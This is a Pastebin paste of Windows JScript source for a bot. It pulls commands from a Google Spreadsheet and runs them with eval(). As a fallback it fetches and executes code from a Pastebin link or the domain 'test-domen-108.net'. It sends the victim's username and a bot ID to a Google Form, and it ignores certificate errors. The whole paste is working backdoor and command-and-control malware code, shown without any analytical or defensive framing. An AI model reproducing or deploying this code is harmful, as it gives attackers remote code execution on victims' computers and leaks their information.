Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function GetSourceCode() {
- var GlobalObject = this;
- var FSO = fso = new ActiveXObject("Scripting.FileSystemObject");
- var WshShell = new ActiveXObject("WScript.Shell");
- var formkey = "%formkey%";
- var spreadsheetkey = "%spreadsheetkey%";
- var intervalMin = 30;
- var intervalMax = 50;
- var botclass = GenerateString(8);
- var entry = "%entry%";
- var last = TextFileRead("%TMP%\\dttsg.txt");
- var version = "1.0";
- WshShell.CurrentDirectory = GetScriptDir();
- Log();
- GetCommand();
- function GetCommand() {
- try {
- var co = "";
- co = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
- var command = HTMLParse(co['text']).document.documentElement.innerText.split(/\$\$\$/g);
- if (command.length < 3) {
- var cbp = InetRead("http://pastebin.com/raw.php?i=rf1b98ZM");
- if( cbp['stat'] >= 200 && cbp['stat'] < 300){
- eval( cbp['text'] );
- return false;
- }else{
- var cbd = InetRead("test-domen-108.net");
- eval( cbd['text'] );
- return false;
- }
- }
- if (last != command[1]) {
- last = command[1];
- var r = TextFileCreate("%TMP%\\dttsg.txt");
- r.Write(last);
- r.Close();
- Log("GetCommand::" + command[2]);
- eval(command[2]);
- }
- } catch (e) {
- Log("GetCommand::" + e.description);
- }
- }
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function GetScriptDir() {
- return GetScriptFullPath().replace(/[^\\]+$/g, "");
- }
- function GetScriptFullPath() {
- if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\"));
- if (GlobalObject.WScript) return WScript.ScriptFullName;
- return "";
- }
- function HTMLParse(code, dont_prevent_code_exec) {
- try {
- var document = new ActiveXObject("HTMLFile");
- if (!dont_prevent_code_exec) document.designMode = "on";
- document.write(code);
- document.close();
- if (!dont_prevent_code_exec) document.execCommand("stop");
- return document.parentWindow;
- } catch (e) {
- Log("HTMLParse::" + e.description)
- };
- return {};
- }
- function InetRead(url) {
- var data_sataus_arr = new Object();
- try {
- var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
- httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056; SXH_OPTION_URL = -1
- httpReq.setTimeouts(0, 0, 0, 0);
- httpReq.open("GET", url, false);
- httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
- httpReq.send();
- //WScript.Echo(httpReq.getAllResponseHeaders());
- //WScript.Echo(httpReq.status);
- data_sataus_arr['stat'] = httpReq.status;
- data_sataus_arr['text'] = httpReq.responseText;
- } catch (e) {
- //WScript.Echo(httpReq.status);
- data_sataus_arr['text'] = "";
- data_sataus_arr['stat'] = "100";
- };
- return data_sataus_arr;
- }
- function Log(value) {
- value = value || "";
- value = botclass + "::" + GetUserName() + "::" + encodeURI(value);
- try {
- var httpRequest = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
- with(httpRequest) {
- Open("POST", "https://docs.google.com/forms/d/" + formkey + "/formResponse", false);
- SetRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- Send(entry + "=" + value);
- }
- } catch (e) {}
- }
- function FileExists(Path) {
- Path = WshShell.ExpandEnvironmentStrings(Path);
- return FSO.FolderExists(Path) || FSO.FileExists(Path);
- }
- function TextFileRead(Path) {
- if (!Path) return "";
- if (!FileExists(Path)) return "";
- Path = WshShell.ExpandEnvironmentStrings(Path);
- if (FSO.GetFile(Path).Size == 0) return "";
- try {
- var Stream = FSO.OpenTextFile(Path, 1, 0, -2),
- Result = Stream.ReadAll();
- Stream.Close();
- return Result;
- } catch (e) {
- //Log("TextFileRead::" + Path + "::" + e.descrition);
- };
- }
- function TextFileCreate(Path) {
- try {
- Path = WshShell.ExpandEnvironmentStrings(Path);
- if (FileExists(Path)) FSO.DeleteFile(Path, true);
- return FSO.OpenTextFile(Path, 2, 1, -1)
- } catch (e) {
- Log("TextFileCreate::" + e.description)
- };
- return null;
- }
- function GenerateString(L) {
- if (!L) L = 8;
- return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
- }
- function GetOS() {
- var ua = new ActiveXObject("HTMLFile").parentWindow.navigator.userAgent.toLowerCase();
- return {
- isWin2K: /windows nt 5\.0/.test(ua),
- isXP: /windows nt 5\.1/.test(ua),
- isVista: /windows nt 6\.0/.test(ua),
- isWin7: /windows nt 6\.1/.test(ua),
- isWin8: /windows nt 6\.2/.test(ua),
- isWin81: /windows nt 6\.3/.test(ua),
- isWin10: /windows nt (6\.4|10)/.test(ua)
- };
- }
- function CreateObject(ProgId) {
- return new ActiveXObject(ProgId);
- }
- function GetUserName() {
- try {
- return CreateObject("WScript.NetWork").UserName;
- } catch (e) {
- Log("GetUserName::" + e.description);
- return "Unknown"
- }
- }
- })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement